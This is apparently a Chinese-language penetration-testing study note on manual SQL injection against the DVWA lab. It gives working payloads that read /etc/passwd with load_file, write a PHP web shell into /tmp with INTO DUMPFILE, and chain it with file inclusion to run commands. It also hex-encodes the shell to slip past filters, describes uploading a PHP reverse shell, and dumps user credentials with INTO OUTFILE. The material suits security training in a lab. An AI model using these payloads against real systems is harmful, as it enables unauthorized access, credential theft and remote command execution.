Kali学习笔记40：SQL手工注入（2）

上一篇讲到可以通过注入得到数据库中所有的表信息

而SQL注入能不能做数据库之外的事情呢？

读取文件：

' union select null,load_file('/etc/passwd') --

为了方便进行测试，后边我使用Burpsuite

既然可以读取文件了，那么也就可以写文件：比如经典的PHP一句话

' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "/var/www/a.php" --

结果是无法写入文件，这是什么原因呢？

我猜测是目录权限的问题

于是去掉/var/www

' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE 'a.php' --

成功，所以得出应该是目录问题

首先我们看一下上传成功的文件在哪个目录：

发现在/var/lib/mysql/dvwa下存放

查看后发现属主和属组是Mysql，其他用户无法访问，甚至mysql组其他用户都没有权限

然后我们以root的身份进入dvwa目录查看a.php

那么我们就没有办法把这一句话PHP文件写入到指定位置了吗？

我们可以结合以前提到的文件包含漏洞，写入通用目录/tmp/，最终达到命令执行

实现：

写入：注意这里的单双引号

' union select null,"<?php passthru($_GET['cmd']);?>" INTO DUMPFILE "/tmp/a.php" --

然后利用文件包含漏洞：

最终成功！

所以SQL注入写文件，是以mysql用户写入的，所以可以采用中间目录的方法，然后结合其他漏洞完成命令执行

如果目标系统管理员的权限配置不当，那么只要能够SQL注入，就可以直接拿到shell

既然可以上传一句话PHP，那么也可以上传反弹连接PHP脚本

找到Kali自带的PHP反弹连接脚本，重命名为b.php，利用xxd转换为十六进制

由于服务器通常会过滤<?以及换行符，我们再使用tr去除换行符

得到一堆16进制，复制出来，替换位置(1)

' union select null,(0x(1)) INTO DUMPFILE "/tmp/b.php" --

发送之后，理论上会成功，但是由于URL过长，报错

可以换一个小木马，甚至就使用刚才的a.php

'%20union%20select%20null,%20(0x3c3f70687020706173737468727528245f4745545b27636d64275d293b3f3e)%20INTO%20DUMPFILE%20"/tmp/b.php"%20--%20

进行URL编码后就是上边的结果：注意（0x之前必须加一个空格！

在metasploitable中查到了，实际上就是刚才的a.php内容，但是我们使用十六进制编码绕过了过滤

验证命令执行：

成功！

有时候，数据库的内容太多，我们不可以在一个页面中观看

所以考虑如何直接把数据库下载下来

' union select null,concat(user,0x3a,password) from users INTO OUTFILE "/tmp/a.db" --

查看：

扩展：一个思路

我们甚至可以直接给目标开发一个功能：自定义一个表单，输入信息，然后在数据库插入信息

 ' union select null,'<?php if(isset($_POST["submit"])) { $userID = $_POST["userID"]; $first_name
= $_POST["first_name"]; $last_name = $_POST["last_name"]; $username =
$_POST["username"]; $avatar = $_POST["avatar"]; echo "userID: $userID<BR>"; echo
"first_name: $first_name<BR>"; echo "last_name: $last_name<BR>"; echo "username:
$username<BR>"; echo "avatar: $avatar<BR>";
$con=mysqli_connect("127.0.0.1","root","","dvwa"); if (mysqli_connect_errno()) { echo
"Failed to connect to MySQL: " . mysqli_connect_error(); } else { echo "Connected to
database<BR>"; } $password = "123"; $sql="insert into dvwa.users values (\\"$userID\\",\
\"$first_name\\",\\"$last_name\\",\\"$username\\",MD5(\\"$password\\"),\\"$avatar\
\")"; if (mysqli_query($con,$sql)) { echo "[Successful Insertion]: $sql"; } else { echo "Error
creating database: " . mysqli_error($con); } mysqli_close($con); } ?> <form method="post"
action="<?php echo $_SERVER["PHP_SELF"]; ?>"> <input type="text" name="userID"
><br> <input type="text" name="first_name"><br> <input type="text"
name="last_name"><br> <input type="text" name="username"><br>
<input type="text" name="avatar"><br> <input type="submit" name="submit"
value="Submit Form"><br> </form>' INTO DUMPFILE "/tmp/user.php" -- 

然后利用文件包含漏洞，即可利用

这种方式实际上并没有成功，不过可以作为一个思路